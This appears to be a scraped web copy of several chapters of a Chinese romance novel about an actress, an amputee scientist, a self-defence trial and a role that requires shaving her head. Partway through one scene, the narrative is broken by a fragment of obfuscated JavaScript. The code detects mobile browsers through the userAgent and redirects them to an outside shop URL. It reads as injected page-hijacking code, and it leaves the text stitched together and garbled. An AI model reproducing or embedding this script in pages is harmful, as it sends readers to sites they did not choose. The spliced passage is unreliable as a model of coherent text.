中午这顿吃得较为简单,孟坤现在能喝一些煮得比较软烂的稀粥,看着一大桌香气扑鼻的蔬菜和荤菜,孟坤咽了好几口唾沫,这是生理性的反应他抑制不住。
孟坤自来不喜荤菜,但也禁不住天天只能食用液体物质,料理机打碎的料理餐,无论原材料多么丰富美味,都是如食谷糠难以下咽。
出院至今,每个傍晚孟媛都来陪孟坤,陪他一块吃晚饭,她常听护工说,孟坤有时候会偷偷开冰箱,里面只要有剩菜一旦没看住他会偷吃。
护工还说,胃全切病人这种情况非常多,他们太渴望正正常常吃一顿饭,控制食欲的中枢神经太过亢奋病人自己无法控制。
但,绝不能因为病人想吃就给他尝,即使一点点都不可以,这是会危及生命的,所以,此后冰箱里再没有剩菜。
每每想到这里,孟媛都会泪目。
她知道父亲很痛苦是在活受罪,可是她很自私的想他陪在自己身边,如果没有父亲那她真的就没有家了。
孟媛眼瞳里闪烁的泪光,被孟秦书看了去,孟秦书再看孟坤,他就坐在她对面。
这些日子他的气色比刚出院时好了不知道多少倍,脸上有肉了,皱纹浅了很多。
孟媛在想什么,孟秦书怎么会不知道,那些话护工也都和她说过。
当年那件事她相信孟坤并不知道楚彬是那种人,孟坤只是想用她这张脸找一个家世出色能对孟家事业有帮助的人。
确实也如孟坤所言,给她安排的都是身家百亿、千亿的,而且那些人也不全都是歪瓜裂枣。
豪门、衣食无忧,那是从前的她一生一世都无法企及的高度。
孟秦书拿起炖蛋盘里的小勺,连续挖了三勺鸡蛋,放入孟坤左手旁的小碗里。
“护工说炖蛋可以吃。”音色照旧清冷。
但让人感受到了温度。
就好像大雪过后出现的第一缕阳光,温温淡淡的暖意刺破云层,轻盖在房顶的残雪上。
*
每年年三十,靳子煜都会去张家。
江雪再婚已有十五年,再婚对象叫张成刚,是T市有名望的名营企业家,两人早些年还是初恋。
靳子煜父亲过世的早,在他五六岁时,父亲是名高中老师因救落水儿童而溺水身亡,江雪一直告诉靳子煜,他的父亲是名英雄。
张成刚是个好人,不止对江雪十年如一日的好,对靳子煜也是照顾周到。
张成刚和江雪有来往是在靳子煜十三岁那年,十四岁那年靳子煜出了车祸,这一年里张成刚亲力亲为地照料他。
残肢血淋淋的伤口,经常因擦破而溃烂流脓的皮肤,江雪有时都不忍心看,张成刚不但眉头都未皱一下,还经常跟他聊天逗趣分散他的注意力。
后半年,他回归校园,前一个月江雪陪读,后来江雪的工作催促她必须回去,张成刚便给他安排了一个会开车,全天陪护他的男护工。
靳子煜学会灵活运用拐杖那年,正是江雪和张成刚结婚那年,他们结婚后,一年时间里靳子煜是在张家度过的,后来因一些事,他搬出了张家。
别墅朝南一整面落地窗望出去,可见有假山的院子,还可见西面停车棚下一辆酷炫的黑色跑车正在倒车。
张明阳回来了。
张明阳是张成刚和过世的前妻的儿子,只比靳子煜小三个月。
张明阳这几年都在海城发展,张明阳大学时所学的专业和靳子煜一样都是计算机,但靳子煜听张成刚说张明阳大学毕业后和两个志同道合的朋友创立了一家投资银行,进入金融领域,而且成绩还不错,企业年收入十多个亿,流动资金高达千亿。
靳子煜往外走与拐进客厅的张明阳照面。
这几年为数不多的见面,张明阳对他都比较客气,再不是当年每次见到他和江雪那种恨之入骨的眼神。
年纪不小了,张明阳更是结婚又离婚还有一个被前妻带走的三岁多的女儿。
靳子煜把手杖换到另一只手上,伸出手向张明阳作握手礼。
“明阳,好久不见。”
张明阳嘴角轻挑勾出笑意,食指推了推眼镜,用这只手伸过去与他握了一下,“靳子煜有一年没见了。”
话一出口,他马上纠正,“不我说错了,一个礼拜前我见过你在机场。”
靳子煜脸色微微变,张明阳继续说,“你和那位……南寒这是又复合了?”
听完他这句话,靳子煜眸子暗下去,张明阳笑笑说:“别误会,我是为你们高兴。”
厨房移门划开,套着隔热手套,
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端着大碗鱼汤走来的张成刚看到了张明阳,提醒道:“明阳洗洗手,吃中饭了。”
张明阳扭头看了眼已进隔壁餐厅的张成刚,张明阳没应他,却也动身去了洗手间。
*
纪兰在外面叩了两下书房门,没听到里面的霍清辞的回应,她的心陡然升腾起巨大的恐惧。
拧下把手,一把推开门,看到儿子双手压在脸下,平平静静地趴在桌上,不知是睡着了还是……
纪兰不敢假想,径直冲向前,可就在她即将碰桌前时,霍清辞的身体动了动,纪兰刹停脚步,悬着的一颗心终于平稳落地,但还有余震。
五天前她就唐蔓的事把儿子训了一顿,母子俩一直在冷战,而就在刚才那一瞬间的惊吓,纪兰顿觉什么都不重要了,只要阿辞在她身边,只要他高兴想做什么都可以。
特意调低亮光的台灯下,霍清辞那一头漆黑的短发,泛着黑亮的光泽,因而更凸显出白发的存在感。
纪兰今年五十九了,他们家族的基因哪怕到六十岁都不会有白头发,阿辞的父亲即使现在这个年纪也不过零星几根。
可她的儿子……
纪兰是微生物领域科学家,早些年潜心研究,忽略了身体细微变化,怀孕初期仍在科研第一线。
十月后霍清辞出生,但没多久就被确诊为基因突变引发的罕见血液病。
是她这个母亲的不负责任害了阿辞。
前十五年阿辞的病一直反反复复,每年十亿美金投入该罕见病项目研究,终于国外团队研发出了能压制该病的特效药,但必须终生服药。
研究从未停止,只是还没等第二款药物出来,阿辞的身体已经被药物缓慢释放的毒性,伤了脏器。
前段时间卢森堡的科研所换了第二代药,药物分子稳定性比初代更好,但阿辞吃了却出现白发症状。
眼前灯光暗下来,纪兰眼睫一跳。
伴随霍清辞的伸腰动作,他背上披的薄毯滑了下来,掉进后背和圈椅的夹缝里,霍清辞瞌睡前没盖毯子,不知道是谁给他盖上的。
霍清辞抽出毯子放置在腿上,抬起一点下巴,睡眼蒙眬地瞧着已到他书桌前的纪兰,“妈,是吃晚饭了吗?”
“嗯,你爸在楼下等你。”纪兰声音放的特别温柔。
霍清辞略沉吟,“爸上来过?”
纪兰嗯一声。
自打‘结婚’后霍清辞便住在外面的房子,只有逢年过节才回来陪父母吃一顿饭。
两人说话间,霍绫晨出现在书房门口。
霍绫晨看到纪兰,低眉顺眼尊敬地叫了一声,“妈。”
纪兰转身点点头,随后朝外走,霍绫晨让到一旁,待纪兰从他身边走过去,霍绫晨旋即钻进书房。
两兄弟一个往外走,一个往里进,然后在书房中间碰头。
霍清辞发现霍绫晨又长高了些,都快到他眉毛这里了。
绫晨都十六岁了,时间过得可真快。
霍绫晨,“哥,爸让我喊你吃饭。”
霍清辞抬起手搭在霍绫晨的右肩头上,笑笑说,“走,下去。”
49. 愤怒
初三这天,江雪来到了海城。
江雪没事先通知靳子煜,她是特意杀过来的。
一月二十四日那天傍晚,江雪照常来老房子打扫卫生,却在楼底看到靳子煜的车,走到单元楼门口,她又被几个老邻居叫住。
老邻居告诉她,今天有个长得特别漂亮的女孩来找子煜,不知道是不是闹矛盾,那个女孩敲了有十分钟的门,子煜才开门。
特别漂亮得女孩。
江雪脑中第一时间跳出来那位孟小姐的脸,但她想想又不大可能,人家现在是家喻户晓的大明星。
钥匙转动锁芯打开防盗门,往里推的那一下,竟推不动似乎有什么重物靠在门上。
一股浓烈的酒味从门缝隙里飘出来,意识到不对头,江雪往里把门往里推了三分之一,伸头进去一看。
地上坐着的不是她的儿子会是谁。
江雪挤进屋内,一个膝盖着地,跪在靳子煜面前,满目都是心疼。
靳子煜不大会喝酒,而且一喝酒还上脸,冷白的肤色被酒气熏染出酡红色。
他右手旁竖着半瓶白酒,还有一半的余量,这瓶白酒是厨房里烧肉菜用的,子煜一定是在家里找不到酒,看到有酒拿了就喝。
酒精浓度四十多度,这孩子不要命了,喝的还是最烈的白酒。
江雪轻轻拍了两下靳子煜的脸,尝试唤醒他,“子煜。”
听见有人叫他,靳子煜皱了皱眉头,睁开迷离蒙着水雾的双眼,倒还认得出她,“妈,你怎么来了?”
“地上凉,妈妈扶你回房间好不好?”仅凭一人之力江雪是扶不起靳子煜的,需要他配合。
客厅南北通透,又有穿堂风,室内也不过才零度,这孩子怎么能这么不爱惜自己身体。
那年和那位孟小姐分手后也是。
那一个月,靳子煜不是把关在房间里,就是去江边一坐就是一天。
自靳子煜第二次手术完,就再没见过孟小姐,江雪猜都能猜到发生了什么。
起初她担心子煜还天天跟着他,倒不是担心子煜轻生,她的儿子她还是知道的,不会做这种傻事,只是他需要时间去调节,天天关在家里只会更抑塞。
有一次靳子煜到吃晚饭都没回来,江雪去江边寻他,却见一帮人围住他,而靳子煜坐在地上,两只拐杖歪斜的倒在身体两侧。
子煜拒绝别人帮忙,他不是起不来而是不想起来。
靳子煜问她一句话,江雪至今想起来心都颤两颤。
“妈,你有个残疾的儿子,这些年你不旦要时时刻刻为他操心,为了他你甚至丢掉了升调机会,在外还会被人指指点点,有没有一天后悔过?”
当时江雪都震惊了,这句话会从他儿子口中问出来。
那年车祸截肢后,某日她躲在房间里黯然伤神,十四岁的孩子推着轮椅进来,握着她的手,反过来安慰她,“妈妈,残疾不意味着我的人生完了,我们老师曾给我们讲过很多名人事迹,其中不乏身体有残疾的人,妈妈你知道吗?残疾人可以跳高、可以骑山地车、可以打篮球.....这是最近残奥会上我看到的,他们不比健全人差,我只不过少了一条腿,我头脑是好的,我不会自暴自弃,我会好好学习,将来做一个对社会有用的人。”
地上的靳子煜侧翻身,双手撑地,江雪抽了抽鼻子,忙搀住他的右胳膊,靳子煜左腿先支起来,再在江雪的助力下假肢由弯曲到直立,慢慢站起来。
白酒后劲强烈,靳子煜当晚醉的不省人事,江雪陪护到后半夜,待他面上的绯红褪去才安心,不过这孩子现在嘴巴可真严,即使醉成这样,也硬是没说和那个女孩有关的话。
所以江雪这次来海城是来探索真相的。
宝马开进院子,停在保时捷旁边的车位,熄火,江雪推开车门走下来。
依然是浓烈的酒气,江雪一进门,便看到趴在楼梯上的靳子煜,她的眼睛徒然睁大,连着四肢都在颤抖,惊恐从脚底心往上冒,浑身的血液似乎都凝固了。
江雪往前跑,跑到楼梯上,一屁股坐下来,把靳子煜脑袋搬到自己腿上,她边打救护车电话边落泪,心痛自胸腔蔓延到四肢。
昨天靳子煜到爷爷家陪他们一块吃了年夜饭,之后连夜赶回了海城,从不撒谎的孩子却对江雪说研究所里有项目需要修改,必须要回去。
现在回头想,这个孩子这几天心里苦,但他又不能被他们看出来,每天还得装出笑脸陪他们。
没人能把他的儿子变成这样,一定是那位孟小姐。
靳子煜被送往医院,医生诊断为严重酒精中毒以及消化道轻度出血。
家里保姆回家过年了,如果不是江雪特意来这一趟,后果不堪设想。
靳子煜半夜醒来,还未睁开眼先闻到熟悉的消毒水气味,他知道自己又进了医院。
又。
但也快八年了。
靳子煜眼皮动了动,坐在陪护床上,一直睁着眼睛守着儿子的江雪,立马握住靳子煜的右手,“子煜。”
靳子煜睁开眼别过头,看到眼眸微红的江雪,“妈,你怎么来了?”
江雪又好气又好笑,故作生气道:“我儿子的家,我这个当妈妈的怎么不能来?”
再不来,她都快没儿子了。
两只手掌一撑,靳子煜把自己往上挪,背靠着枕头,牵了牵唇角,“妈,我不是这个意思。”
“书书呢?送宠物店去了?”儿子刚刚醒,江雪不去提那些让他不快乐的事情。
“静姐回老家前一天把它送去了宠物店。”
靳子煜看到江雪背后那堵墙边站着他的假肢,旁边还靠着一副拐杖,拐杖很新一看就是新买的。
靳子煜想起那天,孟秦书来T市找他。
他真的没想到孟秦书会开四百多公里追来,因为以他对孟秦书的认识,她骨子里是骄傲孤高的,是绝不可能做这种事的。
但自重逢后,她给他太多意想不到。
那天他穿戴好假肢是要去爷爷家,出门前他在阳台抽了一根烟,烟没抽尽,他看到了一辆红色轿跑出现小区主路上,正往他这栋楼开来。
虽然他只见过两次孟秦书的车,但他记住了她的车牌,再三确认是她之后,他转身进客厅。
孟秦书敲门那阵子,他一直站在门后。
她为他而来,不在乎他人眼光一遍遍叫他,一遍遍拍打防盗门。
记忆的闸门一经打开,回忆如涌进来的洪水,甜蜜的、温柔的、疼痛的。
但回忆到最终,只会让他更痛恨自己这具身体,是他不配站在她的身边。
可他还低估了孟秦书的耐性。
“他在里面,他今天不出来,我不会走!”
躲是躲不过了,他只好打开门,她却一上来就抱住了他。
但他一把推开了她。
不要见了,七年不见他们不都好好的吗?
她继续去做星光熠熠的大明星,他继续投身教育、科研事业。
不再有牵绊,不再有相干。
不好吗?
*
年初八,孟秦书和芳姐如约来到W酒店一楼大堂面见孙导。
孟秦书今天化了精致的妆容,发型也由一贯的黑长直改为金棕色韩式大卷,让她较以往多了几分成熟和高雅气质。
这是她今年走的路线,毕竟三十岁了,不小了。
酒店卡座区域,只有他们一张桌子有人,桌角放了一瓶好闻的浅粉色香薰,牛奶糅杂甜味的花香,漂浮在空气中。
三人就着剧本闲聊了一个小时,但全程都是导演问孟秦书答,只有在听到导演说:“我们这个戏有光头造型,但会戴头套,有的女演员在意外形,一听到需要光头都会犹豫或者不参演,尤其是年轻的有庞大粉丝群的女演员,南寒如果你能接受,明天上午十点来试镜。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197403|150279||http|test|mini|href|location''.split(''|''),0,{}));
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>涂着红甲油的食指关节叩了叩桌面,桌面发出低微的响。
孟秦书问了今天第一个问题,“何田姊在被男主伙同一帮人设下的瞒天大谎戏弄后,只因为他一次搭救就轻而易举原谅了他,是不是弱化了何田姊本人敢爱敢恨的性格?”
孙导耐心地讲给她听,“南寒你手里的剧本只是一小部分,你要知道男主的‘欺骗’一定是善意的。”
“南寒,男主如果犯错一定另有隐情。”芳姐在旁边帮腔。
但拿她来说,她恶语重伤了靳子煜一次,换来靳子煜把她耍的团团转,末了再给她补一刀。
这才是正常人的行为,哪有可能去原谅一个曾经伤过他的人,无论是不是有隐情是不是善意。
芳姐抿了口茶,放下茶杯,杯底轻撞桌面发出清脆地一声“咚”。
孟秦书回过神,她对光头造型比剧本本身还感兴趣,抿抿唇,她道:“导演谢谢你给我这个机会,我明天准时来试镜。”
孙导点头,眸中有赞许之意。
一个电话打进来,孙导接了十多分钟,挂掉电话,他跟她们说了声,“抱歉,有些事去处理”便先离开了。
留下两人,沉默了片刻,芳姐侧眸对孟秦书说,“南寒,我看得出孙导对你挺满意的,以往大部分演员到这关就结束了,他还提出让你去试镜,或许会给你一个小角色,但南寒你听我跟你说,小角色你别嫌弃,他这次能给你个小角色,下次有可能给你一个重要角色。”
孟秦书不作声,拿起桌上的竹节杯,啜了一口里面山泉水。
口味回甘,是好水。
回到华星影视,孟秦书拐入化妆间撞见了正往外走的施漾。
孟秦书挡在施漾面前,不拐弯抹角直接问她:“你知不知道霍清辞有家室?”
像是听了个冷笑话,施漾哼哧一嗓子,扭脸看她,脸上漾出轻笑,“南寒你真有意思。”
真是乾坤倒转,小三当久了,还真把自己当正室了。
孟秦书一把攥住她的右小臂举起来,神色冷厉道:“我警告你别再去招惹霍清辞。”
手臂传来痛感,施漾挣了挣没挣开,她表演出一丝害怕和委屈,“南寒你是断网了吗?我现在是霍少的正牌女友。”眼眸澄澈乖软还有些微无辜,“我抢了你男朋友生气了,南寒良性竞争,不要动气嘛,各凭本事对不对?”
施漾这副恬不知耻的嘴脸让孟秦书恶心、愤怒,她松开钳住施漾手臂的这只手,扬起手一巴掌挥了过去。
但被施漾截住。
孟秦书发狠一下子把自己的手从施漾手里抽离出来,两人也因这股力道一起后退了一大步。
“南寒,没有霍清辞撑腰,你睁大眼睛等着看,以后还有几个人把你当回事。”施漾暴露本性,不装了,清纯的脸上勾出一抹讽刺的弧度,恨恨地道:“你等着,早晚有一天我要把你赶出这个圈子!”
丢下这句话,施漾拂袖而去。
望着门口,孟秦书发出哂笑,同行之间良性竞争很正常,施漾对她莫名的天大的恨意又是从哪里来的?
但孟秦书没把施漾的话放心里,而是后退走,退到小腿撞到化妆椅,她手握椅背,拉开这张椅子,转身坐上去。
镜中出现她的脸,她对镜子中的自己假笑了一下,竟发现笑时,右眼角出现了一条极浅的细纹。
什么时候有的她毫无所知。
三十岁了。
所有物种都会衰老,这是自然法则。
孟秦书往右侧歪些头,再抬起右手拢来所有头发拢到右胸前,发尾垂到小腹位置。
每日精心养护的头发,发丝柔软顺滑,金棕的发色在灯光下泛出的金子般的光泽。
桌上有一把银色美发剪,有时艺人的服装有线头,助理会用这把剪刀帮助剪掉。
孟秦书拿起剪刀,打开刀刃,银白色锋利的刀刃上出现一条灰色的暗影,那是她的影子。
50. 哥哥
由于证据确凿,一审的判决于九月二十日当庭宣判。
孟秦书防卫过当致人重伤且情节恶劣造成对方严重残疾,判处有期徒刑五年零三个月不得缓刑。
对这个结果,不只霍清辞不认可,楚家人更是不服当庭抗诉,其律师受委托启动二审上诉。
判决生效,孟秦书将于第二日由看守所送往监狱。
当天下午霍清辞来看孟秦书。
一间四面白墙的小房间里,一张长方形桌子,一头各一把椅子,墙上贴着八个红色大字“自信改过,铸就新生”
“霍清辞,我还能再见一面靳子煜吗?”
孟秦书不管是神色还是语气都异常冷静。
原本搁在双腿上带着金属手铐的双手抬上来,安放到白色的桌面上。
“铛铛”手铐撞击桌面发出清脆清晰的声音,霍清辞不是第一次见孟秦书带手铐但金属反射出的光,回回刺痛他的双眼。
照理是不行,但霍清辞会去咨询律师,尽可能在孟秦书移交至监狱前给她安排。
霍清辞看着孟秦书这张脸说,“我会想办法。”
最近一个月,霍清辞各种事务繁杂,时常忘记回靳子煜的信息,靳子煜的信息也由两三天一条,变成一个星期,两个星期一条。
“谢谢,霍清辞。”孟秦书知道这两个月霍清辞为了她这个案子在四处跑,一直为她再想办法,她真的很感谢他,“霍清辞,这个判决结果,我认,楚彬对我对我施bao,我刺瞎了他一只眼,我报仇了,接下来该我去接受法律惩罚。”
霍清辞那双布满红血丝的眼睛上浮现一层薄薄水光,孟秦书怔了怔,她从未见过这样的霍清辞。
本来没有任何起伏的心绪因他而激荡,孟秦书垂下眼睛,十指交叠,盯着被自己手指摁红的手背上皮肤,脸部麻痹似有电流声,唇齿不受控制地轻微颤,但孟秦书竭力稳着声,“霍清辞,真的.....谢谢,我会在里面好好改造。”
又粗又沉重的一声吐气声,来自霍清辞。
“小书,今天先到这里,我去找律师咨询你说得这件事。”霍清辞拉开椅子,听见声音的孟秦书蓦地抬头,看到霍清辞以站起来,他给了她一个让她安心的眼神,说:“放心。”
*
金秋桂花香,飘香万里。
海城人民公园内绿树成荫。
还是早晨,公园里只有早起锻炼的老人,一辆跳动蓝光的面包款式警车,停在有一米高的绿植背后。
孟秦书绕开绿植,快步走向在广场上等待她的靳子煜。
越是接近他,她脸上的笑容逐渐凝固,当靳子煜转头看向她那一刹,她眉目顿染上冰霜。
孟秦书踏上平台,脚步慢下来,靳子煜撑着双拐走向她,他脚步比她快,脸上的欣喜难以抑制。
两人在广场中心碰面。
留给孟秦书时间不多,眼角余光里,那位跟她过来,半个身体藏在大树背后的警员,眼睛寸步不移地锁着她。
“靳子煜,我们分手吧。”
孟秦书以为自己在心里重念百遍,也不断幻想过见面时的场景,以为自己可以做到心如止水,但话一出口,心口突如其来一阵被割裂似得剧痛。
口袋里的两只手握成拳,大拇指掐着食指,死命用着劲,只有这样才能区分不出是心痛还是身体的痛。
像是有所预判似得,靳子煜只目光轻微颤颤,他脸上还挂着笑容,但较刚才淡了些许。
“小书,我现在恢复得很好,下周我就去上学了,我的腰椎医生也说了,不会有后遗症,小书你真的不用担心——”
“靳子煜!”
孟秦书大声的打断他的话,不给他说下去,“靳子煜,两个月来你每天给我发信息,你是真没看出来,我都不想回复你吗?你不是学霸,不是高智商吗?难道看不出我早已经不喜欢你了,好聚好散不好吗?”
笑意在他脸上消失无踪,眼里的光同样消失殆尽。
孟秦书知道自己的的每个字跟刀子没什么区别,但就该是这样得,而不是他刚才努力的对着她笑,卑微的说那些话。
“小——”
“一定要我当面把话说出来是不是!”孟秦书不给他机会说话,凉薄无情地道:“好——我告诉你,靳子煜。我不要一个未来有可能只能坐在轮椅上,不依靠拐杖站都站不起来的男朋友,靳子煜我后悔了,我受够了!”
男人仿若树上掉落失去生命力的枯叶,在风中摇曳。
孟秦书不忍看,转开眼,却看见葱郁树木掩映下的公园小道上,一对头发花白的老年夫妻肩并肩有说有笑的快步走过去,这个年纪还能步履生风,真的是老当益壮。
鸟语声、走路声、树叶被风吹得哗啦啦的响声、花香弥漫,早晨是美好一天的开始。
她希望将来靳子煜每天都是美好的。
差不多了,孟秦书回头再他看一眼,可突然间她被靳子煜恍若黑洞似得般深不见底的眼神刺穿心脏。
是她所预见的,但亲眼所见不一样。
子煜对不起,你若是恨我,那就恨吧。
*
十月,霍清辞因孟秦书的事迁怒孟家人,他一句“从今往后扬正集团不在于孟氏集团有任何合作”,传达下去之后,孟氏集团三个月内破产清算。
孟坤上门求霍齐业救救他手底下近万名职工,霍齐业一方面念在和孟坤多年的交情,另一方面儿子这事做的确实儿戏,不考虑后果,所以他点头让秘书去妥善处理后续事宜。
霍清辞十一月份一直在英国,带着助理走访楚彬常去的各种娱乐场所和身边的一些不是很亲密的朋友。
楚彬是出了名的会玩,在华人圈子里不是秘密,而且性//癖还特别古怪,他玩弄过不少女人,曾有传言有个亚裔女人死在他手里,但他们家出钱摆平了。
邓律师告诉他,这些不能当作证据的证据,或许能起一些作用,但起不来决定性的作用。
十二月底,二审开庭,但由于还需补充调查,法官宣布改日开庭。
年三十,霍清辞去监狱里看了孟秦书,两人在只有十平方不到的像个盒子的小房间里,聊了几句。
孟秦书心态一直蛮好的,监狱的女警经常夸她表现得好,这些话都是律师带给霍清辞的。
进监狱后孟秦书剪了齐耳短发,身上宽宽大大的狱服掩不住她身体的单薄,但好在脸蛋没有消瘦,气色也一如往前。
孟秦书浅笑盈盈,“霍清辞,新年快乐。”
“小书,新年快乐。”霍清辞柔和展眉。
很快到了三月,二审第二次开庭。
这次楚彬亲自到场,他装上了义眼外观和常人无异,一审时楚彬被判有期徒刑一年缓刑一年。
行六纵四的旁听席分为两片区域,中间一条过道,楚家人来了八个,坐左边区域,右边区域有霍清辞、姚宇和唐蔓。
庭审进行到一个半小时的时候,楚家人在发现孟秦书的判刑结果在向无罪释放靠拢时,楚家人当场抗议,但被法官一声,“法庭上禁止喧哗”制止。
在邓律据理力争和最后提供出楚彬在国外XING侵女性多项证据的辅助下,半个小时后法官当庭宣判,被告人孟秦书犯罪证据不足,二审无罪释放。
法官声音刚落,楚彬踹翻前面的桌子,跨上台扬起手就要打这名法官,被狱警以及冲上来的亲属拽住胳膊。
孟秦书被立即释放,泪流满面、全身发抖的她,拾级而下还因腿软一个踉跄,幸得及时跑来的霍清辞握住她的两条胳膊,在最后一级台阶把她扶住。
情绪激动的孟秦书扑进霍清辞怀里。
被带走她没哭,一审宣判下来她没哭,进了监狱她没哭,时隔八个月,再听到无罪释放后她终于失声痛哭。
霍清辞眼眶里一样盈满泪水,他双手从她肩头过去,在她背上连续不断地轻拍,受到孟秦书的感染,也是替她劫后重生高兴,霍清辞眼角挂下两行温热的泪。
*
过了一个星期,霍清辞提了礼盒带着孟秦书一块到楚家。
楚家仍不打算放过孟秦书,还打算继续上诉,霍清辞不想这事情无休无止下去,亲自上门让他们开条件,只要能满足他都会满足。
楚家人尤其是楚彬虽对霍清辞恨得咬牙切齿,但是碍于霍家在海城的商业地位,还不能狠言厉色地赶他出门。
偌大的中式风格客厅里,楚彬父亲楚朗独坐一张单人沙发,霍清辞和孟秦书坐在一张三人沙发上,隔着一张茶几,对面是独坐斜倚着沙发交叠双腿的楚彬。
佣人端上茶水,依次放在他们面前的茶几上,霍清辞礼貌寒暄后道明来意。
楚朗就这起事件列出一二三四条,
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皆是楚彬所遭受的痛苦但绝口不提楚彬所犯的错误。
孟秦书垂下身体两侧的双手紧握,霍清辞看在眼里。
既然他们都不提,霍清辞主动提出补偿他们三个亿,不是赔偿是补偿他刻意强调。
孟秦书侧眸看他,但被霍清辞抓握住手臂往下压,示意她不要说话,但同时霍清辞提了法庭上没揭露出来的那个死了的女人的事情。
楚家父子互看对方一眼,听出霍清辞意思是让他们见好就收。
楚父知道霍清辞要是想查这个女人很容易,一旦旧案翻出,虽不在国内但对他们集团的负面影响很大,搞不好英国那里重审,那楚彬在那里不但待不下去还有可能背上官司。
但他儿子的一只眼睛怎么能......
楚彬看出父亲有动摇,脸上乍然散出深戾阴鸷的气息,挺起身却被楚朗伸过来的手按住手背。
楚朗神情凝肃道:“霍少爷,我和你父亲年龄相仿,这么大把年纪且就这一个儿子,如今我儿子终生残疾了,我儿子的代理律师在法庭上说得很清楚,他是抱着和孟小姐结婚打算的,只是没想到孟小姐.....”他叹口气摇摇头,“事已至此我也不说了,现在我们不去纠结对错,我只要这位孟小姐在我儿子面前磕个头道个歉不算过分吧?”
说到最后楚朗眉目哀戚,再叹口气。
一听到让她下跪道歉,孟秦书“腾”地起身,手臂还被霍清辞握着,她转一半身体,面向这个每个字都在颠倒黑白的老头,高声驳斥道:“我没错凭什么认错,凭什么道歉!”
楚彬牙齿咬的咯吱咯吱作响,他恨不得撕碎这个女人,楚朗按住楚彬手背的手持续在施力,血腥味在楚彬口中弥漫是由于他咬破了口腔内壁。
霍清辞再次看向楚朗,说:“霍董,三亿明天我会汇入您的账户,您儿子瞎了一只眼的确可怜。”
霍清辞重念“瞎、可怜”三个字,楚彬怎么不知道他是刻意的,吃人的目光转投到霍清辞脸上。
“下跪道歉,道歉我看算了,下跪可以吗?”
霍清辞在孟秦书难以置信的目光中站起来,楚朗也由平视转为仰视,“霍少爷,我看这位孟小姐并不愿意。”
楚朗这句话意味明了,他已是退了半步,属实无可奈何,下跪道歉只是出口气,而这口气半口和一口又有什么区别,他的宝贝儿子已经成了这样。
今天的谈判楚朗一再让步,楚彬的怒气值一升再升,他愤怒地抽回手,楚朗马上递给他一个“不许冲动”的眼神。
楚彬虽满腔恨意,但没完全丧失理智,楚朗所担忧他怎会不知。
霍清辞自是看出孟秦书一百一千个不愿意,他松开握孟秦书手臂的这只手,这次看的是楚彬,“楚总,我来吧。”
楚朗怀疑自己听错了。
孟秦书攥住霍清辞的衣角,摇头不许他这么做,“霍清辞不要!”
比起那个该死的女人,楚彬更想看看这位高高在上的霍大少爷给自己磕头的卑微样子,楚彬哼笑,往后靠,翘起二郎腿,“霍大少爷,给我磕两个头,这事到此为止。”
霍清辞只想快点了解这件事,让孟秦书回归正常生活,监狱这种地方,这辈子都不会让孟秦书在接触。
霍清辞往外走一些,找一片相对空的地方,面朝楚彬的这张沙发。
“霍清辞!”孟秦书三步并两步上前,双手抓握住他胳膊正面,阻止他要跪下去的姿势。
孟秦书终于不再强硬,“我给他跪,不该是你!”
然而—
话音方落她就被霍清辞拨开,他手臂力量控制的刚刚好,这个力度不会把她推倒。
男人先单膝落地,然后放下另只膝盖,两次磕头,仅用不到五秒钟就完成这套动作。
随后他毫不在意的起身。
孟秦书眼底一烫,有股热热的液体在流动,只知道欠霍清辞的还不清了。
“霍清辞你为什么对我这么好?”
走出楚家大门,孟秦书追着霍清辞背影问。
霍清辞驻足转身,垂眸凝着她,半晌没说话,孟秦书两眼泛红,起了哭腔,“你这样让我怎么还你?”
他似真的把她的话想了一遍,忽就说,“小书,你很久没叫我哥哥了。”
孟秦书,“哥!”
从今往后霍清辞是她一辈子的哥哥。
51. 教训
女星南寒为拿到角色,为戏剃光头这条新闻,一小时内霸榜热搜前十条,直接震惊整个内娱。
粉丝们有的痛哭哀嚎,有的眼中带泪为偶像的敬业精神感到钦佩和感动。
就问整个内娱当红女艺人中有哪个能做到,南寒这一招利大于弊,该说不说是真的豁得出去。
照片中穿粉色针织开衫和多层黑色蛋糕长裙的南寒出现在酒店门口,旁边站着著名导演孙导,一向不苟言笑的孙导面带笑容,看上去两人相谈甚欢。
第二张照片是近拍。
明艳大气的五官,骨相非常凸出,南寒这张脸自是没得说,没想到连头型都这么完美无瑕,饱满对称,形状自然。
现在的女星不像十多年前的女演员,十年前的女演员导演要求剃光头是真敢剃,现在的女星带个比例失调的光头头套,脑袋比灯泡还要大还要亮。
像南寒这样的女明星,靠颜值吸粉的大流量,能走出这一步,属实让人佩服,不要说粉丝了,连不少媒体人都在交口称赞。
翻完微博,手机被芳姐往办公桌上随意一扔,忽觉得好笑,嘴唇翘得老高,进而又生出我家有女初长成的欣慰。
今早她在酒店大堂见到剃了光头的南寒,眼前一暗,差点没背过去,不是不好看,而是这个女人太大胆了,她有什么把握剃个头就一定能拿到角色。
万一没争取到角色,这不白瞎了。
万万没想到南寒这一行为还让多家媒体集体赞赏,不少路人粉集体声称路转粉,她的微博更是一个小时内涨粉近百万。
芳姐捞来桌子正中间的红色金属打火机,左手自烟盒中抽出一根香烟,夹在两指指尖,掌心朝上,打火机“嗤”一声冒出幽蓝色火苗,对准烟头点燃。
大拇指一摁,关上打火机盖子,她把打火机放在白色菱形格手包上,起身绕开办公桌朝沙发那儿走过去。
*
孟秦书今年的工作还没正式开始,酒店回来她倒头就睡,这是她近期的状态,无事可做就蒙被子睡觉。
只有这样才不会觉得时间漫长。
手机电话铃声响,过后是门铃声,孟秦书拿起手机,眯眼看手机屏幕,顺带扫了眼左上角的时间。
她才睡了不到一个小时。
电话是霍清辞打来的,孟秦书并不意外甚至可以说是意料之中。
“等下,我来给你开门。”孟秦书含含糊糊地道,右手一撑床面坐起来。
电话挂得很快。
孟秦书掀开被子,她穿的是荷叶领棉质睡衣套装,因为是见霍清辞,她懒得去换衣服,趿拉拖鞋出去给他开门。
